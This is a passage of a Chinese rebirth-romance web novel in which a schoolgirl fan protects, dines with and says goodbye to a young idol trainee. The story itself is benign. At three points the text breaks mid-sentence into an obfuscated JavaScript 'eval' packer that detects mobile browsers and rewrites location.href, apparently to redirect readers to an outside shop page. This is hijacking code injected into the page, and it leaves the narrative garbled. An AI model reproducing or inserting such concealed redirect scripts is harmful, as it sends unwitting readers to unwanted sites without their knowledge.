真是不识货。她在心里冷哼。 她再看向那女人想换的专辑——是个两年后因品行败坏被全网喊打的男歌手。 眼光真差。她在心里冷哼×2。 女人的再次劝阻换来了她男友更激烈的、口不择言的辱骂:“怎么?长得好看就不吵了?我跟你说,这种男的啊,在那些下三滥的地方一抓就是一把,这你也看得上?要我说,这店家就是素质低,找这种人……” 他抄起桌上的一张专辑,狠狠砸向纪屿—— “啪!” 一道白色身影挡在了纪屿面前。 纪屿怔在原地,看着挡在身前的少女,心头掠过一丝陌生的刺痛。 专辑尖锐的边角重重砸在林定脸颊上,火辣辣的疼。她疼得眼眶泛泪,却强忍着,挺直脊背,声音沉稳地不像个学生: “请你冷静一点!每张唱片都有自己的艺术特色,这不是质量问题。购买前不了解,都可以试听,而不是污蔑店家欺诈。” 她目光扫过那男人涨红的脸,语气陡然转冷: “就事论事,你这已经构成人身攻击了!用暴力解决问题算什么男人?看来你女朋友是个明事理的,倒是你——”她轻轻挑眉,嫌恶的眼神不加掩饰,“你这么在意别人的长相啊?该不会是……自己没有什么,就特别嫉妒别人有什么吧?” 男人被这突如其来的反击噎住,正要发作,却见林定弯腰捡起地上的专辑。她将孟泳书和那个劣迹歌手的专辑并排放在一起,眼神里满是“什么品位”的鄙夷。 昨日积压的委屈,此刻全数化作保护偶像的勇气。前世在网络上与黑粉大战三百回合的气势,此刻总算是派上了用场。 “拿着你要的这张东西。现在就走。” “凭什么让我走?还没赔钱!” “不走?”林定指着自己发红的脸颊,“那报警吧?让明白的人来评评理?” 她逻辑清晰,句句在理,男人张了张嘴,最终一把抢过专辑,骂骂咧咧地拽着女友仓皇离去。 店内重归寂静。 林定这才后知后觉地腿软,脸颊的刺痛开始变得清晰。 一只手轻轻扶住她的肩膀。 纪屿绕到她面前,“……疼吗?”他轻声问。 而那句“为什么要挡在我面前”在唇边辗转,终究没有问出口。 林定望着他近在咫尺的脸,他那双好看到犯规的眼睛里充满了复杂的情绪。 可林定没看懂。因为她已经被这个对视,恍惚到大脑宕机、变得一片空白,连疼痛都忘了。 纪屿见她只是睁大了眼睛望着自己,半晌都不说话——该不会是刚才那一下撞傻了吧?他的目光落在她微微肿起的右脸上,眉头不自觉地紧了。 “抱歉。”他的声音低沉,带着苦涩的懊恼,“是我没处理好客人的事,连累你受伤了。” “你不用道歉的,”林定一听他自责,有点着急,一下忘了脸上的疼,“是那个人太过分了!他怎么可以那样说你呢?长得好看难道是罪吗?我看吧,他就是嫉妒得发疯了——” 她刹住话头,脸颊烫了起来。天啊,她在说什么! 纪屿的嘴角微微抽动了一下。 “我的意思是……”她慌乱地别开视线,手指无意识地开始绞衣角,“他女朋友看你的时候,眼睛都直了,你看到了吧,那个男的,肯定是吃醋了,对,没错,就是吃醋。” 见他依旧望着自己的脸,林定心虚地向后退了半步,弱弱的问:“我……我是毁容了?” “肿了。”他的语气缓和了一些,“需要冰敷。等我一下,我跟老板说一声,今天提前关店。” “等等!”林定急忙喊道。 10. 10 赠品伞 “等等!”林定有些着急地说,她着台上那张被退货的孟泳书专辑,“这个,这个,帮我结账吧。” 纪屿愣了一下,道:“不用买的。这种退货算正常损耗。” “不不不,我就是要这张的。”林定心里那致富之路的明灯在指引着她——开封过又如何?这可是孟泳书诶,未来照样升值。 这波不亏。 “你喜欢孟泳书?”他眼底闪过一丝诧异。 林定努力组织语言,“呃……感觉她挺有潜力的,”她心虚地垂下眼睫,“谈不上多喜欢,就……” 就,能让她多赚点钱? “就还行。”说着,她像只兔子一样窜到货架之间,用飞快的速度抽出了今早新闻里提到的几位“新人”的专辑,都堆在收银台上,“这些,我全要了,一起结。” 纪屿盯着这些风格差异极大的几张专辑,感到不解。 没想到她伤着还不忘买唱片……这个女孩,他越来越看不懂了。 “要不这些,我送你吧?就像我们说好的……”他想起上次她们的约定。 “别!”林定差点跳起来。这些可都是她“发家致富”的敲门砖,怎么能让他送? 她想要的,从来只有他自己的音乐。 “这些,我也不是特别喜欢的。”她斟酌着用词,耳朵热的发红,“也就是,买来随便听听。以后……等遇到那张让我心动的专辑,我再告诉你吧,好不?” “好。”纪屿无奈一笑,依言为她办理会员结账。 “那我先……”她刚要伸手去提那袋沉甸甸的唱片,纸袋却被纪屿自然地抢先拎起。“得先处理你的脸。”他语气平静,话语却不容拒绝。 给老板打电话说明情况时,电话那端传来爽朗和蔼的回应:“小事,你忙你的,记得锁门就好!” 唱片店的门,在身后合上,那风铃的余音,还在耳边萦绕,林定望着车水马龙的街道,恍惚间觉得脚下熟悉的地砖都蒙上了一层不真实的绚烂光晕。 她竟然……和纪屿并肩走在一条路上。 炙热的阳光毫不示弱地打在行人的脸上。林定突然想起什么,急急忙忙地从包里掏出那把印着银行logo的遮阳伞,塞到了纪屿手里。 “晒。”她小声说,不敢和他对视,“要做好防晒……会变黑的。” 她满心满意、真心实意地想着要守护偶像的脸蛋,却没料到——纪屿接过伞,“唰”地撑开,然后竟将伞檐倾向她的头顶。 ……啊? 我不是让你自己打吗! 林定内心发出无声的尖叫。她把伞柄往他那边推:“我不是这个意思……是给你打的,你会晒黑。” 纪屿只是轻轻弯了弯唇角,没有说话。 两人共撑着一把“丑陋”的赠品伞,在沉默中走过了喧闹的街巷。 他带她走进了街角的便利店,利落地买了一袋雪糕和一包洗脸巾。纪屿仔细地将雪糕用洗脸巾裹好,小心翼翼地敷在她红肿的脸上。 “拿稳了。”他低声嘱咐,指尖不经意擦过她的耳廓,可林定却绷紧了身子,“保护自己才是第一位的。不要再为别人受伤了,这是一件很不值当的事情。你看,脸都疼红了。” 额,真的是疼红的吗…… “知道了。”林定小声回应。 纪屿低头看了眼手表,时针已指向五点:“你家通常几点吃饭?是不是该回去了,我送你回家。” “爸妈都出差了,”她脱口而出道,“今天没人管我吃饭。” “那我管。” 轻飘飘的三个字,像羽毛般落在了林定心尖。 她手里的雪糕差点滑落。 ……刚才,是出现幻听了吗? 让纪屿请自己吃饭?! 林定的大脑里瞬间火山爆发!这得透支多少辈子积攒的人品值啊! 还有……虽然纪屿现在还是个查无此人的小透明,但林定作为一名合格的粉丝,保持安全的距离是刻入DNA的粉丝行为准则。将来他红了,要是这回“私联素人”的经历被挖出来,岂不是黑稿满天飞? 这可是“杀头”的罪过…… “不用不用的!真不用的!”她狂摇头,因内心极度的纠结而导致脸上的表情有些古怪。林定的心里其实在疯狂地滴血——天知道她有多想答应,那可是和偶像共进晚餐,这是自己做梦都不敢想的。 就在她心痛至极之时,手机铃声就同救兵降临般响了起来。她手忙脚乱地掏出来,屏幕上显示“爷爷家”的座机号。 “定啊,来爷爷家吃饭哈,你妈跟我们说了,他们今天出差。”爷爷洪亮的声音从听筒里传来。 “啊,爷爷,我……”她还没来得及组织语言,那边竟挂断了电话。 她的手机听筒音量不小,一旁的纪屿听到了对话内容。 “是长辈叫你回家吃饭吗?”他的声音温柔。 “嗯……是啊,”林定垂下脑袋,声音里带着认真的、混合着万分遗憾和无比心痛的情绪,“所以……很遗憾,我不能和你一起吃饭了。” 纪屿看着她那副仿佛错过了几个亿的小表情,忍不住轻笑起来,温和地说:“没关系。那我送你到爷爷家楼下吧。” “好……”林定有气无力地回应道。 能和纪屿吃饭的宝贵机会,终究还是被她亲手断送了。她不断安慰自己,今天能被他护送回家,已经是上天的恩赐了,要知足,要知足…… 要知足。 “我爷爷家在黄兴东路。”她报出地址,看着周末傍晚愈发拥堵的车流,听着车辆的焦躁鸣笛,意识到打车过去希望渺茫。 “这边有地铁,坐地铁一个站过去很快的。”纪屿的语气依旧平稳。 “你想挤地铁?!”林定脱口而出,语气里的震惊之意未加掩饰。她还是没有完全适应纪屿现在的身份——毕竟她觉得眼前这个准备“亲民地”选择使用公共交通工具的人,很难和未来出行都有专人安排的明星画上等于号。 纪屿误解了她惊讶的原因,以为她是怕地铁拥挤,一瞬沉思后,便提出了另一个方案:“那我们走去?这里离黄兴东路不算太远,步行不到三十分钟。” 夕阳的光照落在他侧脸上,勾勒出清晰又好看的轮廓,镀上了一层金色。 林定盯着他的脸,一时忘了回应。 “看什么呢?”他被她直勾勾的眼神看得有些失笑了。 “太晒了。”她猛地回过神,别开视线,指着那把还拿在他手里的伞,“你把伞打好了,千万别晒到你的脸。” 这神颜,她可得保护好了……她在心里默默补充道。 两人转而走进了一条相对清静的林荫小巷。 沉默在空气中蔓延。 “你在读高中?”纪屿率先打破了宁静,声音在狭小的巷子里格外清晰。 “啊,是的,”这突如其来的问题让林定感到心头一颤,老老实实地说,“高一。” 他点点头,很自然地接了下去:“那还有两年就高考了。有想过考去哪个城市吗?” 林定抬起头,目光与他相接,语气平静却坚定: “B市。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613289|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——那是你未来公司发展的核心所在,也是那所我志在必得的顶尖传媒大学的所在地。 她在心里,轻声地补充了无法宣之于口的后半句。 “你呢?”林定低下头,声音轻得似乎要散在微风里,“你除了在唱片店兼职……平时,还在读书吗?”她终于还是问出了口,手心微微发紧。她太想知道了——他平时在哪里?一切是否顺利?在前世那互联网碎片里,关于他出道前的信息少之又少,连狗仔都没怎么爆料过。粉丝内部也只听闻一些传言,纪屿曾经考上了一所不错的大学,却因家境等现实原因在大二辍学,随即被星探发掘。此刻,他主动问起她的情况,她终于能顺势将这份前世与今生的疑惑一起递出去了。 纪屿沉默了一瞬,才开口:“没有读书了。” 林定的呼吸微微停顿。 “你知道练习生吗?”他看向前路,傍晚的风将他的发丝吹动,好闻清爽的洗发水香味飘向了林定。 她木木地点点头,心知此刻的自己,只是个“略有听闻”的普通女孩,多说多错。 他继续说道:“去年,有星探找到了我。我现在,就在做这个。” “那……还顺利吗?”她紧接着问出声,语气里带着自己并未察觉的关切之意。 纪屿有些讶异地转过来看向她。 自他成为练习生以来,周围的人要么流露出清一色的羡慕,要么投来轻蔑的目光,从未有人像她这样问他。 顺利吗? 他前一世的这条路,从来都与顺利二子无缘。才华在现实面前苍白无力,其中的艰辛,他早已习惯。他看着身旁女孩清澈的眼睛,那些涌到嘴边的话,还是自己消化了进去。眼前的女孩只是个学生,何必让她知晓这些成年社会的沉重苦痛。 “还算顺利。”他弯起嘴角笑了笑,眼底却浮现一丝低落情绪。 又是这个表情。 林定咬了咬嘴唇。他到底在经历什么?她不敢再继续深问,只能小心翼翼地说:“做这个……会觉得累吗?”她顿了顿,斟酌了一下用词,“我的意思是,你,喜欢现在做的事吗?” 纪屿怔住了。 前世的痛苦回忆瞬间翻涌——那条路上布满陷阱与难关,会耗尽他的热情,甚至再度走向毁灭。可是…… “林定定同学,”他把视线转向远处,落在G市中心巨型LED屏当红明星的代言广告上,“做什么行业都是累的。” 他的声音很轻,有一点如释重负。 “但我会坚持下去。”他收回目光,眼底那抹酸涩,在她眼前化作了更坚定的光,“因为……这是我喜欢的事。” 林定循着他的视线望去。 那块耀眼的代言广告大屏背后,是属于他的世界。 那个承载着他梦想的舞台。 她收回目光,看向身旁迷人,足以让她沦陷的少年。 他是她的星星啊。 “你以后,”她抬起手,指向那块巨大的屏幕,语气里充满了无限的信心,“一定会比他更红。” 她转回头,目光灼灼: “十年内,我要在那块屏幕上看到你。” 纪屿闻言笑了起来。只当这是少女天真无邪的鼓励和小小霸道,毕竟她不曾知道、也不会知晓那圈子的残酷。 他并不知道,这不仅是她对他的期许,更是她对自己许下的承诺。 她得到了他肯定的回答——确认了他对舞台和创作的热爱是真实的——她便更有动力,也更坚定了要成为他的盾牌,为他提前扫清前路上的那些陷阱。 11. 11 洗手 走到爷爷家所在的老旧小区时,浓郁的饭菜香气已经在风中弥漫起来。这种老社区的傍晚总是烟火气十足,家家户户的厨房里飘出的味道交织在一起。孩童的打闹声、单车的铃铛声、邻里的犬吠声,一同构成了平凡又温馨的背景声。 纪屿轻轻叹了一口气。 这样日常的烟火气,对他来说是陌生的,也是……有些渴望的。前世红了以后,他的每一天都在赶通告、住酒店、待机场,吃的永远是团队给大家订好的盒饭,或是拘束、举手投足都要万分小心的商务聚餐,他没有机会拥有这般鲜活的生活日常。他也……很少回家,后期更是不愿意回去——工作已经填满了他的世界,实在没有心力再去应对和维护那个名为“家”却不是家的地方了。 一想到父母,他感到失望和悲凉。 上一世,直到他已经崩溃,试图与公司解约做回自己时,才知道,父母竟然一直背着他,和公司索要巨额款项。一笔接着一笔,堆积成山,最后连他自己都觉得没脸解约,加之合约上的各种不公条款,最终解约无望。当他终于忍不住跑回去质问时,母亲甚至都没接他的电话,也见不到人,而他的父亲则是避开他的视线,沉默不语。 那时候他才明白,他虽是有血有肉的人,可家人只是把他当作一件商品,一个会自己上架赚钱的商品。 纪屿感到十分心寒。 他下意识地侧过脸,望向身旁与他一起安静走着的林定。路灯一盏一盏亮起来了,暖色调的光线给她青春的侧脸打上了柔和光晕,与眼下的温馨,微妙的融合。这个偶然认识的女生……让他越来越好奇,也越来越让他觉得……这个女孩是值得他信任的。 “我爷爷家就在前面的那栋楼,”林定停下脚步,有些不舍地看向身侧的纪屿,”送到这里就可以啦,谢谢你了。” 话音刚落,还没等到纪屿回应,身后就传来了一个敞亮浑厚的声音:”定啊!你来啦!" 林定惊喜地转身,只见爷爷正从不远处缓步走来,手里地提着两大瓶可乐雪碧,塑料提手在他的手指上勒出红痕。 “爷爷!”她这一瞬间把身边的纪屿彻底忘在了脑后,急忙跑上前接过沉甸甸的饮料,”这么重的东西怎么自己提呢?想喝的话让阿姨买,或者打电话让我带上来嘛!” 她心疼地看着爷爷苍老的脸旁,重生回来后,她都不忍心让爷爷做任何的苦差事。爷爷却笑呵呵地摆摆手:”这不是想着你要来嘛,你最喜欢喝这些了。这么热的天,爷爷提前买好,你一到家就能喝上冰镇的。” 这句话,让林定鼻尖一酸,眼眶瞬间就红了。 这时,一双修长的手从她手里自然地接过了那两瓶沉重的饮料。林定这才惊觉,自己竟把偶像晾在了一边,刚想要开口介绍,爷爷却先注意到了这个气质出众的人。 “诶?定啊,这是你同学?”爷爷好奇地打量着纪屿,只觉得这个男生生的分外好看,还很有男子气概。 “爷爷好,我是定定的朋友。”纪屿礼貌地回应,手里还稳稳地提着那两瓶与他气质十分违和的大号汽水。 这亲民的画面让林定一时恍惚——谁能想到那个在舞台上闪闪发光的璀璨明星,此刻正如邻家男孩般提着两大瓶汽水站在老旧小区里?可这么……竟然还有些好看? 停! 她在心里狠狠掐了自己一把,这都什么时候了还在犯花痴啊。 “啊……定定的朋友……”爷爷了然地点点头,倒是热情地邀请道:”好精神的小伙子,谢谢你送定定回来啊。既然都到楼下了,一起上来吃个饭吧?今天家里做了拿手好菜!” “啊,他今晚……”林定想要替纪屿推辞,怕这会打扰到他了。 谁知爷爷又说:”别客气,爷爷是真心邀请你来吃饭的。今天的红烧肉啊,炖得可香了!” 更让林定难以置信的是,纪屿居然礼貌地点头应下:“好,那就打扰爷爷了。” “不打扰不打扰,快上来吧!”爷爷开心地说。 林定站在原地,感觉自己的人品值正在以非一般的速度疯狂燃烧……燃尽。她的人品,不会才重生就消耗完了吧? 她扶着爷爷上楼梯,纪屿则自然地接过她的包和唱片袋,另一只手还提着那两瓶汽水,安静地跟在他们后面。 “定啊,”爷爷一边上楼,一边笑着说,“咱物业通知了,装电梯的事啊终于要提上日程了,现在正在征集业主签字呢。等电梯装好了,你来看爷爷的时候就不用爬楼梯,这么辛苦咯!” 听到这话,林定扶着爷爷的手一阵发紧,惹的爷爷困惑地看向她。前世的记忆涌上心头——因为低层住户在费用分摊上很难达成一致,装电梯的事,一拖再拖,直到爷爷去世都没能坐上电梯。而在爷爷走后的第二年,那部冰冷的电梯,才终于建成落地。附近的房地产商把这里捧得可高了,就因为这个电梯,楼价都上涨了不少。这一个承载着大部份人喜悦和期待的电梯,在林定这里却是一份藏在心里的伤痛,以至她每每回来看望奶奶,坐上那个电梯的时候都感到胸口闷的紧。 “那就好,”她轻声回应,轻轻拍了拍爷爷的手臂,努力压下自己内心的酸涩,“希望能快点装好。” 每一步台阶,都踩着她前世的遗憾。 楼梯狭隘,爷爷的步子缓慢,林定感觉到身后人也随着她和爷爷的节奏在上楼,呼吸轻缓。 楼道里的的感应灯灭了又亮了,反反复复,如同平日。 而此刻,身后那个人的存在,又让这个平凡的傍晚变得如此不凡。 走进爷爷家,依旧没见到奶奶的身影。听住家阿姨说,奶奶又是和几个老姐妹打牌去了。 林定心里一酸,无力感再次漫上心头。前世便是如此,奶奶总不爱在家待着,常常在外消磨时光,直到爷爷长逝,她才万分后悔。从那时起,奶奶收起了所有牌局,变得沉默寡言,连她这些小辈,也很难听到她的唠叨了。 爷爷见她神色不好,还以为是因为奶奶不在而倍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613290|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感失落,于是他乐呵呵地安慰:“没事儿,你奶奶也就打牌时最高兴,随她去吧。” 林定那抹隐晦的心疼,却被一旁的纪屿发现了。他看着她,感觉有一种超乎年龄的懂事在她身上……也许这就是传闻中的好孩子? 餐桌上已摆满了佳肴。 住家阿姨的手艺自是没得说,只是……林定看着那红烧肉、辣子鸡、地三鲜和水煮肉片,不禁皱起了眉。 “爷爷,”她语气带着埋怨,“我们上次不是说好了,要少油少盐少糖嘛!你怎么又让阿姨做这些?” 爷爷笑着说:“这不,你来了嘛,这些都是你以前爱吃的菜!”他说完,目光慈祥地看向纪屿,“对了定定,你这位朋友,怎么称呼啊?” 纪屿态度温和有礼:“爷爷好,我叫纪屿。” “小屿啊,是很好听的名字。”爷爷笑眯眯地点点头,指了指刚刚纪屿提上来的汽水,“来,把汽水倒上呗,我们定定最喜欢喝这个了。” 让偶像给自己倒饮料?!林定下意识就想伸手拦下,可纪屿已经自然地拿起瓶子,为她倒满了一杯子。 “哎,你俩还没洗手呢!”爷爷忽然想起来,唠唠叨叨地催促,“快快,洗完手再来吃饭!” 林定有些尴尬地看了纪屿一眼,却见他已温顺地站起身,示意她带路。 爷爷家是老房子,格局紧凑,洗手间虽是长条形,空间却不太宽裕。两人一前一后进去,空气仿佛都变得稀薄了许多。头顶的老旧灯管还有些接触不良,光线明明灭灭的,在他轮廓分明的脸上投下忽明忽暗的阴影。 “不好意思啊,”在闪烁的光线下,林定不敢直视他的眼睛,低着头小声道,“耽误你晚上的时间了。” “是我打扰了,来蹭饭的。”他挑眉,看着她笨拙转身的模样,轻轻拍了拍她的肩,“洗手吧,你洗完了我洗。” 怎么能说是打扰呢?林定心里嘀咕,偶像“大驾光临”,她本该感激涕零才对。 她匆匆冲洗起来,急急地让出了洗手台的位置,只想快点结束这令人窒息却又万分心动的独处。 或许是因为太紧张,手上竟还留着滑腻的泡沫。纪屿洗完手,见她愣在原地不动,询问道:“走吧,去吃饭了。” “我……我刚没洗干净,还有泡泡……”林定真想把自己捶一顿。 纪屿看了看这狭窄得难以错身的过道,再换一次位置实在是徒增麻烦。他极轻地叹了口气,随即伸手,握住她的手腕往前一带,将她的手引到水龙头之下。 微凉的水流落了下来,他却没有松开,而另一只手竟自然地覆上,细致地帮她搓洗掉那些被主人遗漏的泡沫。 “这样快一点。”他声线平稳,听不出任何情绪,仿佛在做一件再寻常不过的事,举手之劳而已。 林定却觉得自己的意识在那一刻被彻底抽空了。 直到她重新在餐桌前坐下,她的魂魄才慢悠悠地归位。 她一定是在做梦吧。 12. 12 告别 林定为了掩饰狂乱的心跳和烫地发红的脸,她埋下头,往嘴里扒了好大的几口饭。 这如此“豪迈”的吃相,让在座的爷爷、住家阿姨和纪屿都愣了一下。 住家阿姨笑道:“多吃点,多吃点。年轻就是好啊,胃口也好啊!”说完她还往纪屿碗里夹菜,“小伙子也多吃点!” 林定见住家阿姨又热情地给纪屿碗里添了两块非常油亮的红烧肉,她连忙出声拦下:“阿姨,他不能吃这么多高热量的……”说着,她便把那盘清爽的水煮上海青端到了纪屿面前。迎着阿姨困惑的目光,她淡定地补了几个字:“职业需要。” 纪屿微微一怔,他不过提了句“练习生”,她便如此机敏地知道这背后的体重管理规则了。 爷爷被勾起了好奇,放下筷子问:“小屿是做什么工作的呀?” 纪屿欲言又止,一时语塞。如何向长辈解释“练习生”这个,在现下冷面又生僻的概念呢? 他尚在斟酌词句,身旁的女孩却已经抬起头,语气如同在讲述一周有7天这种无人辩驳的真理一样:“爷爷,他是明星。明星都需要做体重管理的,不然怎么能保持一直好看的脸和完美的身材呢?” “明星”两个字被她如此自然地说出口,纪屿感到一阵微妙的暖流穿透了他。明明前路艰难,星途不再,可为什么她却能这么肯定地说出来,就好像他已经是舞台上、聚光灯下的人一样。 爷爷恍然大悟,脸上绽开欣喜的笑:“哎呦!怪不得!我就说小屿这模样生的这么好,俊得跟画儿里走出来一样一样的!原来是大明星啊!”他兴奋地夹了好多菜,“爷爷我啊,年轻那会儿,也是十里内外有名的帅哥呢!” 纪屿被老人直白的夸赞弄得有一些脸红,他谦逊地微微点头。爷爷的关切下一刻便转向了林定:“定定啊,这次分班考试考的怎么样了?隔壁苏阿姨家的儿子,听说天天学到半夜……” 林定顿时感到头大。俗话说吃饭不谈工作,她之前在996日常的时候,谁和她在吃饭的时间谈工作她就恶心的吃不下饭,因此,面前美味的饭菜都在瞬间失去了味道。 她只好端起那杯“肥宅快乐水”,猛的灌下一整杯,才重新找回了一点点点食欲。 饭后,纪屿想帮忙收拾碗筷,林定赶忙拦住他,强硬地将他请去客厅休息——偶像来作客已经很那啥了,她怎么能让偶像收拾呢…… 爷爷从椅子上站起来,看着纪屿,又想起了什么似的问道:“诶,小屿是大明星的话,那我是不是能在电视上看见你了?” 这又是一个让纪屿难以回答的问题。 林定见状,上前轻轻推着他的手臂将他往客厅带,语气带着点责备:“爷爷,人家客人吃饱了要请去客厅喝茶的!别让他再待在饭厅和厨房里了。”说完,她顺手拉上了饭厅与客厅之间的磨砂玻璃门,却没有留意到门并未关好。 爷爷看着孙女这般维护一个“外人”,有些无奈又觉得好笑,打趣道:“怎么啦,不让爷爷和大明星多说话啦?爷爷现在电视看得少,对你们这些不怎么了解嘛!他现在很出名是吗?” 林定扶着爷爷重新坐下,声音放得轻缓:“爷爷,他现在刚开始呢。未来呢,电视上、广告牌上、杂志上……到处都能看见他。” “这么厉害呢,”爷爷慈爱地看着她,“我们孙女怎么认识到大明星的?” “也许是我幸运吧。”林定答到,这是她的真心话。 能这样与他相遇,对她而言,已是重生给予她的馈赠。 她帮着阿姨把碗筷放到洗水池后,这才打开门,准备带爷爷去客厅。门一开,却见纪屿就站在门廊边,他们的视线就这样撞上了。 “哟,是大明星。”爷爷像老小孩般打趣道,随即乐呵呵地对林定说,“行啦,我去接你奶奶回来咯,接完还要一起散步呢。你们也早点回家吧。”爷爷朝他们摆摆手,慢悠悠地出门去。 道别声落下,一时间,走廊里只剩下他们两人,身后还有厨房传来的淅淅沥沥的洗碗声。 寂静轻轻把空气笼罩下来。 林定被这安静弄得有些心慌,抬手指向身旁的墙面,试图说点什么来打破片刻的沉默:“哈哈,你看……这是我的身高……爷爷之前找人粉刷墙面,就单留下来了这一块没有刷。” 话一出口,她就想把自己敲醒。真好笑,这么多可以说的话,为什么要说这个?! 那面墙上,留着数十道深深浅浅的铅笔划痕,旁边还标注着日期,记录着她从稚童到少女的痕迹。 “你很久没测了吧。”纪屿的目光落在最新的那道已经有些遥远日期上,那高度与她此刻的身高已经有了明显的差距。 是吗?林定仔细地回想,以前都是爷爷奶奶兴致勃勃地提醒她测量身高,或许是年岁渐长,见她回来便只光顾着高兴,把这事给忘了。并且,初中高中每年都有体测,于是乎,这个墙壁上的身高测量也被她自己遗忘了,就还停留在很久之前。 “嗯……好像是有点久了。”她尴尬地挠挠头。 却没想到,在下一秒,纪屿的双手轻轻扶着她的肩膀,将她向墙壁转去。“站直了。”他的声音从头顶传来。 “站直了,定定同学。” 温和无边。 她感觉到他从走廊的书架上随手抽了一本书,然后将书本边缘,轻轻地压在了她的发顶。 “是长高了,”他俯身仔细看着刻度,语气里带着一丝真心的赞赏,“你有168了。”当他看向她时,林定在那双近在咫尺的瞳孔里,看到了久违的明亮。那目光如此熟悉,让她一瞬愣住,以至于完全忘记了此刻过于亲密的距离是如何让她心如鹿撞—— 那是他上一世上升期时,最让她心折的模样。 坚强又自信,纯粹却不失聪慧。 住家阿姨推开磨砂玻璃门,探出身来,打断了林定沉浸其中的心绪——“定定啊,方便帮阿姨丢下垃圾吗?我惦记着给你奶奶熬药,这会儿走不开。” 林定猛地从纷乱又羞涩的思绪里抽离,连忙应声:“可以的阿姨,当然可以!”答应下来后,她回过头,正对上纪屿的目光,有些不自在地轻咳两声,找补似的说:“……谢谢你,帮我测身高。” 话音刚落,她便看见纪屿竟拿起书架上的铅笔,在墙面上那道崭新的刻度旁,认真地记下了日期。 2015年5月 168cm 我的天……林定感觉自己的呼吸都滞了一瞬。如果这不是梦,那她今天一定是透支了未来十年的人品值。 既然如此…… 不如得寸进尺。 “那个……”她强作镇定,指了指他方才随手取用的那本书,声音尽量放得平缓,“大明星……可以给我签个名吗?” 纪屿闻言,唇角勾起一抹撩人的弧度,似乎早就看穿她的心思。他爽快地翻开书的扉页,利落地签下自己的名字,递还给她。 纪屿。 两个字,带着少年人特有的清劲,又透出万丈锋芒。 初代签名!?她真的拿到了!这一切简直像一场不愿醒来的美梦…… 等等,这书……?“安徒生……?”她愣愣地看着自己的这童年绘本,扉页上帅气潇洒的签名,与书籍本身童稚梦幻的风格形成了诡异的反差,显得格外……不真实。 “你签在这本书里……别人恐怕都不会相信这是明星签名。” “那划掉?”他作势要拿回。 “那可不行!”她将书紧紧抱在怀里,一副生怕他真的会抢走的样子。 纪屿看着她这如临大敌的样子,觉得有些好笑,语气不由得轻了一些,带着点自嘲的意味提醒道:“我还没出道,也不出名,这个签名,不值钱的。” “谁说我要卖了。”她脱口而出,声音低了下去,带着认真的珍视,“……我怎么会卖。” 你怎么会懂,你的签名,于我而言,从来都是贵的,是无价的。 她小心翼翼地将这本被赋予特殊意义的童话书,妥帖地放进自己随身带来的包里,仿佛完成了一个极其郑重的仪式。然后,她才转身去厨房接过垃圾袋,回到走廊,对着已站在门边的纪屿,小声提议:?“那我们……走吧?” “好。”他平静地应道。 而下一秒,纪屿却无比自然地伸出手,边从她手里接过了那个满是厨余垃圾的袋子,为她推开了老式铁门。 吱呀一声,楼道里的声控灯一盏又一盏地应声亮了起来。 爷爷家和林定的家距离不算远,纪屿提出送她,这一次,她没有再拒绝。 如此圆满的一天,也应当有一个漂漂亮亮的收尾吧?她默默地在心想着。 月色清柔,醉人的晚风带着一丝微凉。 因腿长优势,纪屿的步子起初有一些大,但是他很快就察觉到身后的人步履急促,于是便放缓了脚步。 两个人的身影,从最开始的一前一后,渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为你周末会出来兼职啊,”她努力让自己的语气显得很自然,“待遇肯定不怎么高吧?要不……你考虑换一家好点公司呢?”这套看似无脑的说辞,已是她此刻立场下,能给出的最隐晦的“警告”。 “等以后有我能力了,会换的。”他语气淡淡的,“现在,我还没有选择的权利。” 这句话轻飘飘的,却让她更难受了。 她岔开话题,生怕他多想伤神:“我爸妈也常去国外出差……异国他乡的,肯定很多不习惯、不舒服的。你……你要是有什么不开心,千万不要憋在心里。”她顿了顿,生硬地说,“我有个朋友……就是压力太大了,得了治不好的情绪病,后来情况越来越不好……”这种“无中生友”的劣质谎话,让她自己都感到很心虚。 “让你朋友好好准备高考。”他以为她是在说自己的同学,于是他语气又带上那种过来人独有的安抚之意,“你们这个年纪,别操心太多其他事情。好好学习,才是最最重要的。”他看向她,“你也一样啊,定定同学。刚才听你爷爷说,成绩不太理想?要好好努力的,两年后,考到你喜欢的学校去。” 他看到她眼中闪过难过的泪光,误以为是自己的话伤了她,语气变得有些无措:“不过……开心最重要。如果你遇到了喜欢的专辑,要给我发邮件。我们说好的。” “我会的。”她轻声答应,低下头不敢再与他对视,“你……什么时候走呢?” “就这几天。” 她在心里苦笑,明知窥探艺人行程是逾矩,是她上一世最看不起的可耻行为之一,可现下竟还是忍不住开口问。 纪屿的手机响了起来。他接起,电话那边经纪人的声音很不友善,催促他立刻回去收拾包袱,明天凌晨就要启程。 